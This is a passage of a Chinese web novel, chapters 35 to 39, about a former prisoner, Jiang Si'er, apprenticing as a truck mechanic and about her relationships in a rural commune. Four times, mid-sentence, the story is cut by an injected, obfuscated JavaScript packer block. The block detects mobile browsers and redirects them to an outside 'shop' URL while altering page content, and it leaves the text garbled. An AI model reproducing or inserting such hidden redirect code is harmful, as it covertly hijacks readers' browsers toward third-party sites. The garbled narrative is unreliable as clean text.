生产队长好奇她的钱从哪来,姜四儿还是一口咬定之前离家出走时在火车站捡的钱。 这年头,火车站运气好是真的能捡到钱。甚至有些人被打劫杀了,遗落的钱被捡到也不是稀奇事。 “可以用钱买工分,平时不安排你上工,但农忙时你必须得搭把手干活。”生产队长问她能不能做到。 姜四儿点头,“队长,你放心,我是去县里学车,每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586571|205296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天都会回来,需要人手的时候你提前一天告诉我就行了。” 她本来年前就要去县里学车的,但因为腿骨折手指也受伤,耽搁了。现在身体好,是时候去县里了。 正月十三, 她去县里见到大刘亲爹的第一时间就送上了那开司米的围巾。 即使是个大老粗,这刘老爹的手指碰到围巾的一瞬间也知道这是个好东西。 真软,自家媳妇儿肯定会喜欢。 本来还看不起姜四儿坐牢的身份,如今收到对方送的礼,刘老爹拿人手短,脸色缓和了一些。 从这天开始,她每天雷打不动去县里给刘老爹当学徒。 这老家伙一直晾着姜四儿,没教她东西,也没赶她走。 姜四儿也不恼,每天厚着脸皮看刘老爹怎么管理车队,厚着脸皮凑到刘老爹身边,观察他是怎么修车安装零件。 现在这年头,要想考证,得进行一段时间的脱产学习。 而姜四儿坐过牢,监理所不可能给她办手续去学习。 就她这样的,学习本都办不下来。 所以姜四儿如今能在刘老爹手下学习,已经是感恩戴德,并不生气对方晾着自己。 刘老爹手底下也不止一个学徒,有很多是托关系送来看能不能学到什么。 “宁温,过来。” 这天,一直低头劳动的刘老爹扔下手中的扳手,渴得咽了咽口水。 姜四儿每天像个跟屁虫跟在师父身边,见他渴了,赶紧把茶杯端过来,“师父喝茶。” 刘老爹接过茶杯,对着跑过来的宁温叮嘱道:“车管所有一台卡车说是上坡下坡的时候温度太高,高得吓人。你把那台车开来咱们农机一厂,我检查一下看是什么问题。” “好嘞师父。”宁温扔下手中满是油污的手套,动身离开。 “师父,我可以一起去车管所看看吗?我从来没去过那里。”姜四儿给刘老爹捶背,笑得紧张而胆怯。 这个女同志,倒真的如儿子所说,挺乖的,脾气也很好,一直被晾着也不生气。 “行,你跟着去吧。” “谢谢师父。”姜四儿赶紧跟在宁温身后。 宁温面对着漂亮女同志总是自卑的,可姜四儿不同,她是坐过牢的,所以宁温在她面前就摆起了架子。 宁温来到农机一厂的车棚,推出一辆单车。 “你坐后座,我载你。”宁温一手虚虚地搭在姜四儿腰窝。 看上去很乖很容易欺负的姜四儿却直接扯开对方的手,推出了自己的单车。 她每天都带着自己的单车上公交车一起来到县里。 失算了,没想到对方有车。宁温尴尬得耳朵通红,脸上有些没得逞的愤怒。 他沉着脸,骑单车骑得飞快,想把姜四儿甩在身后,给她点颜色看看。 姜四儿狼狈地紧踩踏板,但终究体能敌不过对方,很快被对方给甩下。 人来人往的县城大街上,姜四儿跟丢了对方,无措地扶着单车,很茫然。 大脑放空的她眼泪嘀嗒嘀嗒流下来,又很快擦掉。 这里没有会心疼她的爱人和朋友,哭也是白哭。 35. 第 35 章 宁温甩掉姜四儿,给了她教训,心情大好,独自到了车管所。 “我是农机一厂的,过来取车。”宁温把证件给车管所看门的大爷看。 大爷早就被领导叮嘱过这事,所以检查过证件后直接从桌子里拿出钥匙扔了过去,“那辆蓝色14180的,上坡下坡的时候温度高,有异常,你开回去给刘师傅检查检查。” 刘师傅是县城里技术最好的,遇到难题后那些单位的人一传十十传百的介绍,渐渐的刘师傅就这么出了名,大家都相信他。 宁温走了进去找那辆14180的车,进去后能时不时听到一些驾驶员训学员的声音。 县城就车管所这一个培训点,任何人想开车,就得来这脱产学习。 而这学习指标,还真不容易获得,要持介绍信才能进来,而且政审要合格,坐过牢的没机会来这里学习。 里面教授知识的驾驶员一个个板着脸,给人压迫感,宁温只看了一眼就撇过脸去不敢再看。 他往前又走了几步找到了那辆有问题的车,是一辆泛着蓝光的铁皮车。 爱不释手地摸车门,宁温摩拳擦掌万分激动,待会儿他就能独自开这辆卡车上路,多威风啊。 嘿嘿笑了几声,宁温美了好一会儿,才打开车门坐上驾驶位。 “就是这个滋味,爽。”宁温摸着方向盘坐在皮垫上,就好像是那指点江山的王。 “霸气,这才是我该过的生活。”宁温坚信。 另一边农机一厂,刘师傅正和几个徒弟交流心得,就见姜四儿一个人灰溜溜地骑着单车回来了。 169的个儿,姜四儿双腿修长,可惜骑在这高高的二八大杠上也显得个小了,只能单脚触地。 “师父,你看她,怎么一个人回来了?” “多半是腿脚跟不上。”刘师傅猜测。 “可惜了,这么好看的女同志,竟然坐过牢,要不然给师父儿子做老婆也般配。” “去去去,她就算坐过牢那也不是我儿子高攀得起的。”刘师傅一向对这种漂亮的女同志敬而远之,他可不希望儿子娶这种人。 想了想,不放心,他叮嘱徒弟,“漂亮到这种地步的女同志容易招是非,一般人娶到了也把握不住。你们听我一句劝,别招惹她,娶一个普通的媳妇儿更踏实。” “是,师父,我们知道了。”徒弟们也严肃起来,不再嬉皮笑脸。 不过…… “师父,你冷落她这么多天她还待在这儿,恐怕她这个人不好打发。” “且看着吧,她要真喜欢开车,我就教,这些天只是考验。”刘师傅吸进最后一口烟,将烟头丢在地上踩了踩。 姜四儿回来了十几分钟后,宁温开着卡车也回来了厂里。 打开车门,宁温潇洒地跳了下来。 刘师傅上前看车子,其他几个徒弟也一起围了上去。 姜四儿踌躇片刻,凑上前。 “啧,你往旁边站。”宁温挥手,轻斥道。 其他徒弟眼神复杂地看向姜四儿,姜四儿狠狠咬了下嘴唇,把瞬间红了的眼眶里的泪使劲憋回去。 走到一旁的她极力装作没事人似的强颜欢笑,踮起脚尖看刘师傅检查车子。 其实还好,比起在监狱受到的那些同为犯人的打骂欺辱,这点排挤算不得什么。 她只是有些委屈,坐牢时被那些犯人欺负也就罢了。现在出狱了,怎么还是被这些不是犯人的普通人给欺负。 原来不管哪里都有恶人存在,不过是有些进了监狱打下烙印让人能分辨,有些则混迹在好人中间破坏和谐。 “师父,我刚才开着车在外试了试,在平地上开着温度还算正常,可是上坡时温度有些不对劲。”宁温对着师父笑得恭敬,老实巴交的模样。 “发动机平常温度正常是在九十度左右,稍微热一点或是冷一点都是正常。上坡下坡时温度要比在平路上更高——”刘师傅说着瞥了一旁呆愣愣站着的姜四儿。 冷不丁的,刘师傅提高了声音:“记着啊。” “啊?”在用脑子记的姜四儿有些惶恐,“师父,我在记呢。” “我让你用本子记,脑子总有出错的时候。” 姜四儿赶紧去翻口袋,可惜身上没有纸也没有笔。 “你就这个学习态度?” “师父对不起,我……我刚来的时候都带着纸笔,可是你一直没教我什么,我就大意了,今天没带纸笔。”姜四儿头皮发麻,却也忍不住给自己辩驳。 真是倒霉,平常带了纸笔没用处。就今天不带,又被刘师傅抓个正着。 “这就是给你上的第一课,要随时准备好。你就今天不带纸笔被我发现了,你觉得倒霉。那每次开车出门前都有检查制度,你要是有一回不开盖查验导致出了车祸,怎么办?到时候觉得倒霉都来不及了。”刘师傅倒也没生气,他对这么小的同志一般不会轻易动怒,不想伤了人家自尊心。 “师父,对不起,我刚刚不应该给自己找借口。”姜四儿心里还是觉得自己倒霉罢了,也没怎么认识到错误。 不过师父说的话也有道理,她会改正。 “嗯,态度还不错,”刘师傅点了点头,又问旁边的宁温,“你说说,这车是什么问题?” 宁温白了一眼姜四儿,挺起胸膛大声说出来,“我想先检查看看是不是散热零件有问题。” 得到师父同意后,宁温先是检查了水箱里面,紧接着打开引擎盖,拿出工具拆下散热器检查。 “没有污垢也没有生锈这些问题,散热问题不大。”宁温自言自语说道。 刘师傅满意地点点头,姜四儿也在那不懂装懂地学着刘师傅的样子点点头。 “.……………”旁边几个徒弟忍着笑意,在心里‘骂’这小师妹幼稚。 “师傅,我觉得这车没问题。”宁温把其他地方都检查了一遍,准备把散热器重新安装回去。 刘师傅皱了皱眉。 “师父,”姜四儿举起手,“旁边那风扇皮带是不是松了?” 刘师傅眉眼带笑,拷问对方, “那里皮带松了会怎样?” 姜四儿来了勇气,笑道:“松弛了就会打滑。” 她没撒谎,这些天在刘师傅身边是真的有认真看认真听,倒真的学了些东西。而且以前在劳改农场时,她学过怎么修理自行车,也算有点基础。 刘师傅给她个眼神,想看她怎么处理眼前的问题。 其他徒弟羡慕又嫉妒,宁温更是紧张得呼吸困难。 “师父,别让她把车子弄坏了,赔不起啊。”宁温试探性的阻止,生怕姜四儿真的解决了问题大出风头。 而本来跃跃欲试的姜四儿也退缩了,“师父,修坏了会找我赔钱吗?” 她的爱人虽然有点小钱,但应该赔不起一辆卡车。 “瞧你这点出息,尽管上,你修坏了我也能把它再修好。”刘师傅踹了姜四儿一脚让她放心大胆地上。 姜四儿走过去单手扶着卡车,下一秒,整个人如鸟儿般 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586572|205296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 速度极快又顺滑地钻进了卡车底下,漂亮的速度和帅气的姿势让其他人惊叹。 钻进车底的姜四儿拍了拍水箱,“师父,打滑的话就会让里面的循环量不够,不能及时散热出去。” 说话间,她又从里面钻了出来,顺手将那段皮带拆了下来。 动作流利,声音清脆,不是往常那扭扭捏捏的低声细语。 刘师傅愣了一秒,随即赞赏地拍手鼓掌,“好,好,好。” 其他几个徒弟也朝姜四儿围了上去,往日的隔阂和轻视没了大半。 “你这女同志真不怕脏,那么麻溜地就钻下去了。”“还别说,你这钻车底的动作真利落。”“说起来,你算是我们的小师妹了,今天没时间,明天吧,明天我们这群师哥请你吃顿饭。” ………… 掌声响了起来,赞赏声也一个接着一个,除了羡慕嫉妒恨导致胃抽搐疼痛的宁温,在场其他人都很开心。 在农机一厂待到下午四点半,姜四儿骑单车离开这里。 来到农贸市场,姜四儿靠在车旁等着客车。 从县城到自己公社,只有这一趟车。 五点,唯一一趟开往崇盛公社的客车开了过来,姜四儿抱着单车上了车。 “四儿姐,”公社车站里,早在这等着的程月梨透过车窗冲客车上站着的姜四儿挥挥手。 “你在这等我?”姜四儿抱着单车最后一个下了客车。 “以后我都在这等你,搭你的单车回生产队,”程月梨咳了声,显摆道,“我以后就在广播站工作了。” 生产队长已经忍不了她了,不是干活的料。所以和大队长以及公社的干部一合计,最终把程月梨赶走。 程月梨被赶到广播站当个土记者,做些文化相关的事,以后除了农忙,不用再下地干活。 生产队高兴送走她,她也高兴有了个轻松的事做。 “啊,那你肯定很难过。”姜四儿愁眉苦脸,不知该怎么安慰她。 只有懒汉才会被生产队赶走,她觉得程月梨被赶走肯定不开心。 “嗨,我可不是你们这些死脑筋的人,我一点也不难过,开心得很。”程月梨张开双手,拥抱公社的阳光。 她觉得公社的阳光都比生产队的阳光更灿烂。 “好,那祝贺你。”姜四儿看她开心也替她开心。 回到生产队的小砖房,姜四儿一个人回想今天学到的东西,拿出纸笔记录。 中途想到今天被宁温欺负的事,又忍不住慢慢哭了起来。 揉着眼泪,她拿出其他的纸,开始给贺明峥写信。 —————— “小贺,你表妹给你来信了。” 贺明峥把信拿回家拆开,果不其然,里面是姜四儿的笔迹。 往日里姜四儿会让程月梨给发来电报说一些话,倒是很少写信。 把信纸摊开抚平,里面的字很工整了,不再像以前那样像蚯蚓爬过。 “进步很大。”贺明峥轻笑一声。 前面都是些问好关心的话,信的最后,写着, [我爱你,不会爱别人,你不要吃醋难过。你也会一直爱我,对不对?] “这是……被别人欺负了。”贺明峥喃喃。 每当她受委屈的时候,就会缠着他确认爱意。 被别人欺负了不会和他说,但会拐着弯问他会不会离开,是不是会一直爱她。 只要能确认他的心意,被别人欺负了也不要紧,她会坚持想做的事不放弃。 36. 第 36 章 程月梨收到电报的时候,再一次被里面的几个字给难倒了。 【永远说出来钱】 “小程知青,你是缺钱用了吗?我家里还有些余粮,可以借你。”邮递员看不懂电报上的内容,但看到了那个钱字。 同样看不懂这些字的程月梨随意敷衍了过去。她也看不懂,反正表哥和姜四儿寄信发电报和寄钱都是通过她,把她当个中转站用着。 下午五点刚过,程月梨在公社农机站的大门口等着班车。 等了不到十分钟,最后一辆班车缓缓停下。 从车里推着单车下来的姜四儿冲程月梨挥手。 程月梨坐上姜四儿的单车后座,等离开了公社,路上无人,她才把电报塞到姜四儿兜里。 “我表哥发来的,”程月梨八卦,“这次又是什么意思?” 姜四儿迫不及待停下车就开始看,略微思考了几秒,她笑着解释, “‘永远’的意思是他会永远爱我,‘说出来’的意思是要我受什么委屈了和他说或者和你说,‘钱’嘛,意思是问我还缺不缺钱。” 怎么可能不缺钱,不过姜四儿已经从他那里弄来几百块,还可以撑一段时间,她也要省着点。 听完姜四儿的解释,程月梨撇了撇嘴。 有时候真的不得不相信表哥是真的对这乡下女同志有点子心意在。 “月梨,我真的太开心了,和你表哥冷战这么久,他终于愿意理我了,这就代表之前的冷战结束。”姜四儿将电报上的几个字细细抚摸。 “月梨,我去年去S市的时候你哥和我说你姑父给了他几千美金,美金可以兑换多少人民币?” “啊?”程月梨瞪大了眼睛,她根本不知道这回事,奶奶肯定也不知道,要不然不可能不和自己说。 “不清楚,你问这个干什么?”程月梨冷静下来后回答。她知道可以兑换多少,但是不知怎的,她不想和姜四儿说。 “我想的是,要是那笔钱够多的话,我就不用担心你表哥那边钱不够用,我想请师父他们吃一顿饭。要是那笔美金换算下来钱少,我就省着点花,就不请师父他们吃饭了。” 程月梨没再回话,坐在单车后座,默默在心里换算,又配合着用手指头算出了一个数。 现在汇率并不稳定,一美金差不多也就在一块两块之间徘徊。 虽然几千块不算天文数字,但也是家里爸妈小几年的工资。 她家里条件好,不觊觎表哥的钱。只不过,表哥有了钱以后每次都几百几百的给姜四儿打钱,却不想着孝顺奶奶。 自己的奶奶也是表哥的外婆,表哥一点义务都不尽,奶奶生病住院让他照顾他也总是推三阻四,甚至装病一起住院。 桩桩件件,这么一对比起来,程月梨心里挺不开心的。 表哥就是那‘娶了媳妇忘了娘’的典型。 “唉。”程月梨轻吐出一口气。 单车很快行驶到大队部附近。 大队部院中,一群孩子在嗷嗷叫,细看,中间围着几个打架的小孩。 “四儿姐姐,那打架的好像是小芯。”程月梨喊。 姜四儿单车的车头向左拐,转弯进了大队部的院里。 干部们平常都下地干活,这里就是一群小屁孩过家家的地方。 “别打了!”姜四儿一把将芯芯抱了起来,用腿隔绝其他几个小男孩。 程月梨哈哈笑,“小芯,没想到你这么厉害,一个打仨。” 最重要的是姜小芯一个小女娃打三个同龄的小男娃,竟然也没占下风。 脸蛋儿气鼓鼓的姜小芯说不出话,眼神狠狠瞪着那仨个。 “你们为什么打架?”姜四儿轻轻摸着孩子被扯乱的辫子。 作为大队里第一个坐牢的人,姜四儿在孩子们心中是极为恐怖的存在。 她一来,其他小孩要么四处逃散,要么战战兢兢。 “是你妹妹先打人。”有小孩鼓足勇气回答姜四儿的话。 不是自己孩子受委屈就行,姜四儿松了口气,问姜小芯,“为什么打架?” “他们骂我二姐!”姜小芯话说出口的瞬间眼泪也飙了出来。 她一个小孩和三个小孩打架本来就势弱,就仗着一股倔劲坚持下来。 现在身边有了撑腰的大人,放轻松,委屈的眼泪再也忍不住。 有了第一个小孩开口,其他的小孩也都开始你一言我一语的告状。 事情原委很快拼凑了出来: 大队里其他大小孩要么上学要么跟着家里人下地干活,就只有这十几个二、三、四岁的孩子聚集在了这里玩。 姜小芯本来自己在这用树枝画画,画着全家福,一个人玩得很开心。 一个小男孩走过来,说姜小芯应该把画画里姜二丫的脑袋换成猪脑袋,因为姜二丫是食品站杀猪卖猪的。 姜小芯不愿意,那小男孩就自作主张拿起个小石子儿在泥巴地上画,要改姜小芯的画。于是姜小芯就推那个小男孩,战争就这么爆发了。 程月梨此时也看到了地上那画,姜二丫的脑袋被换成了猪头。 程月梨觉得那小男孩画的挺可爱的,忍不住笑了起来。 又想起来不该笑,使劲掐自己的脸强忍住了。 姜四儿在心里组织了下语言,调节道:“你们三个不应该擅自改别人的画,很没礼貌,道歉。” 那仨沾亲带故的小男孩互相手牵着手,不敢得罪坐过牢的人,道了歉。 “芯芯,你不应该先动手,本来有理也不占理了,该道歉。”姜四儿又道。 “对不起。”姜小芯开口。 “好了好了,事情就这么算了。”程月梨当和事佬。 此时各个生产队也响起了此起彼伏的叫孩子回家吃饭的声音。 “走吧,都散了,回家吃饭。”姜四儿驱赶这些小屁孩。 在孩子们一起回家的路上,各自的家长们也都陆续找了过来。 孩子们在路上跑着闹着,程月梨眼神有些迷离,好像就这样在乡下过一辈子也不错。 乡间小路上一年到头也难得见到几回大车,孩子们自由在路上跑着玩耍,不用担心各种被车撞的安全问题,是在城里看不到的风景。 她突然有点理解表哥了,难怪会在这里谈起恋爱,除了日子清贫点,其他生活都很简单宁静。 表哥能做的事,自己也做得。 “四儿姐姐,你觉得大刘怎么样?”程月梨害羞问。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586573|205296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 姜四儿想起那个大块头,在她的审美里,大刘有点丑。 不过他是师父的儿子,姜四儿也不好说实话,委婉道:“太壮了。” “你不懂,这才是真男人,男人就得壮,我就喜欢壮的。”程月梨有些嘲讽的笑。 笑姜四儿没眼光。 姜四儿:“.............” 行吧,她知道程月梨的心意了。 “你喜欢他?” “是他一直在追我,”程月梨嘟着嘴,很可爱,“我只是恍惚间觉得在乡下这种平安宁静的生活里谈个恋爱也不错,是一种人生体验。我表哥不就在乡下和你谈了嘛,我觉得我也可以。” “你要真的喜欢也可以,大刘虽然人很壮,但性格人品都不错。” 姜四儿觉得师父要是知道了一定开心,明天去县里倒是可以给师父透个底,让他老人家开心开心。 ———————— S市,贺明峥给父亲写信。 他没有直说手表被程月梨昧走的事,想让父亲再给未来儿媳买个手表,就上次那种类似的就行。 “叔,婶,你们有什么想对我父亲说的,我一起写进去。”贺明峥抬头看向厂长夫妇。 他今天特地过来食品厂,就是想叙叙旧,顺便给叔婶带话。 厂长夫妇对视一眼,颇为心虚地摇头,“没什么好说的,就祝他平安....幸福。” 最后的‘幸福’俩字说得极为忐忑。 他们祝贺明峥的父亲和新娶的老婆幸福,但是贺明峥听不懂这里面暗含的深意。 其实他们比贺明峥还要更早和他父亲联系上。 他们都知道贺明峥的脾气,贺明峥一直觉得爸妈是最恩爱的一对,是一生一世一双人的爱情典范,如果让他知道父亲在香江那边再娶了,恐怕会承受不了。 贺明峥一直想去香江陪他爸,怕他爸一个人孤单。只不过因为姜四儿和工作在这,他一直拖着。 也幸好有工作这些事拖着,可以让他晚点发现真相。 “小峥啊,你怎么在信里面问你爸能不能把程月梨弄去香江?你忘了你舅舅舅妈当初怎么对你们的了?”厂长媳妇儿有些生气。 “没忘,我妈的事我一辈子忘不了。” “那你还对你表妹这么好!你这是背叛你妈。” “好了好了,”厂长安慰媳妇儿,开玩笑道,“小峥你还不了解吗,他不是那么善良不记仇的人。” 贺明峥挑眉,对厂长竖起大拇指,揶揄,“看来还是叔了解我。” 这些年身边所见所闻,只要是出去的基本上就没有回来的。更别说程月梨还是个喜欢洋东西的人,她要是去了香江,肯定不会再回来。 “舅舅舅妈就我表妹一个孩子,我表妹要是出去了,你们觉得她还会再回来给舅舅舅妈养老吗?”贺明峥轻笑。 厂长夫妇恍然大悟,原来这小子憋着坏呢,打的是这个主意。 程月梨下乡时,程家夫妇最担心的就是女儿被乡下汉子给拐走。 程月梨嫁得远了是不可能给他们养老的,不现实。嫁去乡下他们做父母的都觉得隔得远了,要是程月梨真的出去香江不回来,程家夫妇和那个老太婆都得气死。 38. 第 38 章 几天育秧的农忙时间过去,姜四儿又恢复了每天去县里学车的生活。 中午大家休息吃饭的时间,姜四儿离开农机一厂,骑着单车来到县城电影院对面的老裁缝店。 “您好,请问是林姗的舅公吗?”姜四儿对着那老裁缝友好打听,“我是几年前下乡的知青,和林姗玩得好,最近因为公事出差路过公社,本来还想找她叙旧呢,却没看到她,她去哪儿了?现在过得还好吗?” 老裁缝眯着眼睛看了姜四儿几眼,没吭声。 屋里面帘子掀开,一个老妇人走出来边收拾屋子边羡慕道:“你问姗姗啊,她不知道走了什么狗屎运,现在在大城市扎根了。” 这人喋喋不休抱怨,“了不起哦,现在傲得,都不来往了。” 姜四儿见缝插针继续问,“她现在是在S市吗?” “不清楚不清楚,人家牛得很,没再搭理过咱们了,过年都不来往。” 从这两口子嘴里再也问不出其他东西了。 姜四儿想起上次在S市公交车上偶遇林姗的事,看来林姗上次不是和自己一样短暂去S市待几天,应该就是驻扎在S市了。 抱着单车蹲在对面电影院门口,姜四儿等到了老裁缝老两口去和做衣服的客人进屋内聊天。 趁着人暂时离开,姜四儿赶紧跑过去翻人家的信箱,确实没有林姗写来的信,这才彻底作罢回了厂。 回到农机厂,被一辆卡车拦了路,大车在运送一台拖拉机进厂。 “刘师傅,您请。”三朗公社的革委会主任亲自过来了,给老师傅递上香烟。 他可烦这拖拉机了,动不动就坏,帮不了地里什么忙不说,老制造出麻烦。偏偏公社农机站的人也不懂修这玩意儿,只能把这笨重东西送来县里修。 “这拖拉机买的二手吧?” “是,那不农场淘汰下来的吗,买的时候便宜。刘师傅,您这都能看出来,真是火眼金睛。”主任恭维道。 见着一个主任对刘师傅毕恭毕敬,姜四儿面上不显,心里却与有荣焉。 果然,还是要有一门精通的技术,才会被人尊重。 厂里其他工人大多时候下乡去公社生产队修理机器,刘师傅不同,别人让他修东西还得主动把机器送过来县里。 有门精湛的手艺真的可以过上好生活。 姜四儿去把单车停好,然后和往常一样围在刘师傅面前。 有其他工人把姜四儿挤出去,姜四儿身形一闪,见缝插针般挨着刘师傅站。 刘师傅眼神虚虚地瞟了这唯一的女徒弟一眼,原先以为只是个内向好欺负的软面团子,没想到也能看到她又争又抢‘功利性’的一面。 “宁温,说说看,有哪些问题。”刘师傅朝另一个徒弟看去。 “师父,”宁温这里敲敲那里看看,说道,“踏板下沉、轮胎有偏磨现象、转向机构零件有损伤磨损现象。这还只是我看到的,其他问题还得把拖拉机开动再说。” 姜四儿也去摸拖拉机,插嘴道:“师父,刚才这拖拉机从卡车下来,启动了一会儿,现在这几个轮胎温度不一样,是不是说明车轮制动无力?” “不错,心思够细。” 宁温:“...........” 他真的特别讨厌姜四儿。 “刘师傅,你还收女徒弟?”三朗公社的主任朝姜四儿看了好几眼。 这女同志太漂亮了。 “我儿子介绍过来的徒弟,说是对车感兴趣,来我这里学习学习点理论知识。是个好孩子,没什么天赋,但是能吃苦,吩咐的东西都能用心给你做好。” 姜四儿听到‘没什么天赋’这几个字,心都凉了半截。 “好啊,以后咱们国家又多了一个能干的工人。”主任爽朗大笑。 “哎呀,姜同志哪哪都好,就是坐过牢考不了证,可惜了。”宁温突然掀别人老底。 主任的笑容戛然而止,然后生硬扯开话题,彻底无视姜四儿。 姜四儿抿着嘴唇后退了几步,站在圈子最外层,不再往里挤。 围着这拖拉机忙活了一些时间,刘师傅把所有问题都和主任交代清楚了,“要换的那些零件是你们公社自个买还是?” “当然让你们买,我就是个外行,不插手任何事。” “行,机器修好了我让徒弟开去你们公社。” 送走主任,安师傅看了看宁温,本来一些活计他都让宁温跑腿,但是这小子太沉不住气,没道德。他最后把这杂活交给了姜四儿,“有几样零件咱们厂里没有,你去配件厂,看好尺寸,别买错了。” 这是刘师傅交代给她的第一个正式任务,本来心情不佳的姜四儿来了点精神,“我马上去。” 县城这配件厂是一溜溜的大砖房,占地面积比农机一厂大。 姜四儿站在配件厂大门口对面,有些刘姥姥进大观园似的。乡下人看到大厂,拘谨自卑。 “这位同志,要买零件吗?看看我手里的,比这配件厂还要便宜。”突然,一个女人拽住了要进厂的姜四儿,神秘兮兮地半捂着嘴。 姜四儿觉得这声音耳熟,扭头一看,不好的记忆如潮水般涌来,她下意识抱头蹲下。 很丢脸的行为,周围走着路或是骑车单车路过的人都朝这边看了过来。 那女人暗道不好,怕被抓,赶紧跑了。 抱头的姜四儿嘴皮子都白了,心脏狂跳,几分钟过去后才缓缓起身。 完成任务回去农机厂的姜四儿魂不守舍,眼神飘忽,时不时咬嘴唇。 “师父,她好像是犯病了一样。我们生产队有个疯子,就是她这样。”有人在刘师傅耳边小声议论。 刘师傅看他这么八卦,安排他任务,“你去问姜四儿到底发生了什么。” “啊?” “啊个屁,叫你去你就去。” 一刻钟后,打听到事情原委的小徒弟和刘师傅八卦,“她刚才遇到一个二道贩子了,那二道贩子是以前在牢里欺负过她的人。” “怎么欺负的?” “这个小师妹没说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586575|205296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没看她嘴皮子都吓白了吗,我怎么好意思戳别人伤疤。” 不过牢里面的欺负能是什么?刘师傅和其他徒弟们都没坐过牢,想象不出。 可能是扇耳光?饭里吐痰?还是殴打? ............ 这是刘师傅和徒弟们能想象到的极限了。 下午四点半回公社,姜四儿等到程月梨下班,载程月梨一起回去生产队。 “烦死了,我每天要采访还要写稿,播音也是我。”程月梨坐在后座一直抱怨。在生产队干活还能偷懒,在广播站偷懒都没时间。 整个广播站就她和站长两个人,站长负责抢修检查和审稿拍板做最后决定,其他的活都得她来干。 往常认真倾听的姜四儿今天没给任何反应。 程月梨没听到安慰的话有些不开心,忽然又想起一事,“今天邮递员给我递了东西,是我表哥寄来的,一些学车的书籍。” 自不用说,肯定是送给姜四儿的东西。 听到贺明峥的消息,姜四儿勉强有了些反应,“嗯”了声。 回到生产队,程月梨在姜家老屋的大路处下车,走路去知青点宿舍。 大刘早早在这等着接人。 “就这几步路,你来接我干什么。”程月梨脸蛋羞红。 “嘿嘿,反正我也下工了,有时间。” 俩人边走边聊天。 提到姜四儿今天的反常,程月梨猜测:“肯定是姜家人欺负她了,我看那个姜老三就不是好东西,我不止一次听到姜老三在小芯面前说四儿姐的坏话,在那挑拨离间。” “我欺负谁了?”姜老三像鬼魅一样从路边的小水沟斜坡上猛地站了起来。 “............” 程月梨暗骂自己倒霉,说别人坏话被当事人亲自抓到。 明明前后左右看了看,见没人,这才和大刘八卦。谁能想,姜老三就蹲在水沟这里挖坑埋鸟,听了个清清楚楚。 大刘面不改色地撒谎,“没呢,没人提到你。姜同志,你或许是听错了。” “我耳朵还没聋!”姜老三一向窝里横,在外人面前唯唯诺诺轻声细语的。但这次被气疯了,拔高音调尖声道,“我就四妹一个妹妹,我对她好还来不及,怎么会欺负她。小程知青,你以后别来我家换木柴了,不卖给你!” 姜老三边往家里走边踢着脚下石子儿发泄怒火,程月梨只觉得天塌了,洗澡做饭都需要用到木柴,这可是她离不开的东西。 木柴虽便宜但很难弄到,程月梨经常去姜家用粮食换木柴,或者用钱买。以后姜家不给她木柴,她大热天还怎么大手大脚地一天洗两次澡? “神经病,疯子!”程月梨崩溃地骂。 大刘一边安慰对象,一边疑惑,‘姜老三不是有两个妹妹吗?为什么她刚才说只有姜四儿一个妹妹?’ “梨梨,你说......姜小芯会不会是姜四儿和你表哥的孩子?” “你也神经病!”程月梨啐了声,大步离去。 39. 第 39 章 “梨梨,你想啊,四十岁左右生子在乡下虽然常见,但姜四儿同志对那孩子态度奇怪。” “怎么说?” “你看,姜四儿平时对几个姐姐态度怎么样?亲近吗?” “感觉不太亲近。” 事实上不止对几个姐姐,姜四儿对父母也有点疏离。 姜四儿有点不像姜家人。比如姜家其他几个人都或多或少有点抱团,姜四儿却喜欢独来独往,有点与众不同。 “你再想一想姜四儿对小芯的态度,虽然话不多,但每次看那孩子时都笑得很温柔。” “可这也说明不了什么。” “一个点分析不了什么,把其他几个点加起来呢?我以前就和你说过,你和小芯那孩子笑起来时有些像,再加上刚刚姜老三说她只有姜四儿一个妹妹,还不明白吗?”大刘指指自己脑袋,“我相信我的直觉。” “如果你的猜测是对的,那姜小芯就是我表侄女儿。”程月梨还是觉得不太可信,不过不想打击大刘的自尊,勉强迎合他。 